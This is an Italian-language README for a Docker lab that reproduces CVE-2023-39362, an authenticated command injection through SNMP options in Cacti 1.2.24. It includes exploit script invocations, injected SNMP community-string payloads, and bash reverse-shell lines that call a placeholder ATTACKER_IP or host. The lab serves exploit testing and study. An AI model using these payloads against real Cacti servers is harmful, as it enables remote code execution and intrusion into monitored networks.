
Questo repository è un fork di questo repository: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
Cacti è un framework open-source per il monitoraggio operativo e la gestione dei guasti, in continua evoluzione per soddisfare le esigenze dinamiche della sua comunità di utenti.
Nella versione 1.2.24 è stata identificata una potenziale vulnerabilità di sicurezza segnata come CVE-2023-39362. In condizioni specifiche, un utente privilegiato autenticato può sfruttare un difetto nelle opzioni SNMP di un Device, utilizzando una stringa maliziosa che porta a command injection. Questo sfruttamento comporta l'esecuzione autenticata di codice remoto sul server sottostante.
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
Le implicazioni di questa vulnerabilità sono gravi, poiché un attore malintenzionato con privilegi autenticati potrebbe compromettere l'integrità del server che ospita Cacti. Questa compromissione potrebbe potenzialmente fungere da porta di accesso non autorizzato ad altri host nella rete, in particolare quelli monitorati da Cacti.
Questa è un'applicazione vulnerabile per testare l'exploit per la vulnerabilità Cacti (CVE-2023-39362).
Questa applicazione contiene gravi vulnerabilità di sicurezza. Eseguila a tuo rischio! Si consiglia di utilizzare un ambiente con backup e isolato (come una VM con uno snapshot recente e rete solo host). Non caricare questa applicazione su server esposti a Internet, poiché verranno compromessi.
Non mi assumo la responsabilità del modo in cui chiunque utilizzi questa applicazione. L'unico scopo di questa applicazione è essere uno scenario di test per l'exploit CVE-2023-39362 e non dovrebbe essere utilizzata in modo malintenzionato. Se il tuo server viene compromesso tramite un'installazione di questa applicazione, non è mia responsabilità, ma è responsabilità della persona (o delle persone) che hanno caricato e installato l'applicazione.**
Ecco i passaggi per configurare l'ambiente:
docker compose up -d per avviare la composizione.admin/admin.admin.guest.guest per provare l'exploit.La guida ufficiale all'installazione di Cacti è disponibile qui.
Per smantellare l'ambiente usa il comando docker compose down.
(Questo è solo uno dei possibili percorsi di sfruttamento)
Esegui il comando sul server remoto:
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
Aprire una reverse shell:
nc -lvnp 4242
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
public\' ; touch /tmp/proof ; \'./tmp la presenza del file creato.Per ottenere una reverse shell, si può usare un payload come il seguente.
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
Un'analisi dettagliata della causa principale della vulnerabilità è disponibile nell'advisory di sicurezza originale o nel post del blog dell'autore originale.
Questo progetto è concesso in licenza sotto la Unlicense - consulta il file LICENSE per i dettagli.